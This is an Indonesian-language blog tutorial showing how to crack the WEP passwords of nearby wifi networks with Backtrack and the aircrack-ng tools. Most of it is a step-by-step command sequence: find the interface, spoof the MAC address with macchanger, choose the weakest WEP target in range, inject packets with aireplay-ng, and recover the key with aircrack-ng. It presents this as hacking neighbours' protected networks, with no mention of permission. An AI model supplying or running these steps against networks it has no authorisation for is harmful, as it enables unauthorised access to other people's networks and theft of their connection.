Butuh waktu cukup lama ketika pertama kali saya mencobanya, karena masih kaku dengan commands yang masih asing.  Kebetulan saya mendapat copy Backtrack dari seorang teman. Karena penasaran dan di sekitar tempat saya tinggal berseliweran wifi, baik yang open tanpa pasword yang biasa saya gunakan, atau yang diproteksi dengan enkripsi WEP atau  WPA. Saya coba tanya mbah google kemungkinan hacking password dengan wifi, hasil searching itupun cukup membingungkan karena rata-rata menggunakan bahasa Inggris.

Pertama sobat harus punya OS backtrack baik dalam bentuk keping cakram atau tersimpan di flash memory. Jika belum punya coba aja unduh filenya disini. Jangan tergesa-gesa karena filenya cukup besar. Kalau sobat punya speed access minimal 1 kbps, kira-kira butuh 3 jam sampai unduhan selesai. Simpan file tersebut dalam bentuk ISO file dalam keping cakram dulu agar sobat bisa mengoprerasikan secara terpisah dengan windows yang sobat punya. Jangan khawatir bakctrack ini dishare secara gratis dan terkenal keamanannya.


Jika proses pertama sudah selesai dan Backtrack sudah di genggaman, sobat tinggal boot aja komputer sobat dengan OS dimaksud dan tunggu sampai booting selesai. 

Bukalah konsol baru, untuk mengetahui driver interface yang sobat pakai, ketikkan dan enter perintah berikut: (mengetahui driver interface penting agar perintah-perintah berikutnya dapat dijalankan)

airmon-ng

maka akan muncul nama interface sebagaimana dalam gambar berikut:

Picture
Di layar akan muncul driver interface wifi yang sobat pakai, pada  gambar diatas driver yang muncul adalah ra1. Driver ini bisa bervariasi tergantung dari chip yang terpasang baik internal atau eksternal. bisa jadi yang muncul seperti wlan0, rt2540 atau lainnya.

Kemudian hentikan sementara koneksi wireless sobat untuk mengganti mac code dengan perintah berikut: 

airmon-ng stop [interface
interface dalam hal ini adalah driver yang saya sebutkan di atas, contoh :

 airmon-ng stop ra1

Dengan command di atas berarti sobat sudah memberi perintah disconnect wireless yang sobat pakai. Lalu ketik lagi command berikut berturut-turut:

ifconfig [interface] down

macchanger --mac 00:11:22:33:44:55  [interface]

airmon-ng start [interface]
command terakhir di atas adalah untuk mengaktifkan kembali wireless yang sebelumnya disconnected. Selanjutnya saatnya kita memilih rangkaian wireless yang akan kita hack passwordnya. Sekali lagi yang paling mudah adalah wireless dengan enkripsi WEP. Jalankan perintah berikut :

airodump-ng [interface]

Akan muncul seluruh hotspot yang berada dalam jangkauan, tunggulah beberapa saat sampai sobat mendapatkan sasaran terbaik untuk di shoot. Lihat dulu kira-kira strengh sinyal terkuat dengan enkripsi WEP yang paling empuk untuk dihack. Bila sobat sudah menemukannya, hentikan pencarian dengan menekan tombol ctrl+c.

OK, bila sudah dapat, sekarang fokuskan pada target. disitu ada channel (Channel number atau frekuensi yang dipakai berupa angka 1 sampai 11), ESSID ( Extended Service Set IDentifier atau identitas pengguna) dan BSSID ( Basic Service Set IDentifier) . Agar lebih mudah copy - paste saja BSSID dan ESSID dalam command berikut:
airodump-ng –c [Channel Number] –w [ESSID] --bssid [BSSID] [interface]


contohnya :
airodump-ng –c 1 –w network --bssid c0:ca:30:1d:2b ra1

bila bisa dipahami sampai disini lanjutkan saja proyek kita dengan membuka konsole baru dan ketik command :

airreplay-ng -1 0 –a [BSSID] –h 00:11:22:33:44:55 -e [ESSID] [interface]


Perintah di atas dimaksudkan untuk meningkatkan proses hacking untuk memecahkan paket data yang kita cari. OK, sekarang kita perintahkan mesin kita bekerja untuk mengumpulkan paket data sebanyak-banyaknya dengan memasukkan command berikut :

airreplay-ng -3 –b [BSSID] –h 00:11:22:33:44:55 -e [ESSID] [interface]


Tunggulah beberapa detik sapai data mencapai di atas angka 1000, kemudian jika dirasa sudah cukup tekan ctrl+c untuk menghentikannya. Lalu ketik command :

aircrack-ng –b [BSSID] [ESSID-01.cap]
dan data yang muncul adalah berupa digit berikut:

XX:XX:XX:XX:XX

its ok, sobat sudah dapat password XXXXXXXXXX (tanpa pemisah titik dua)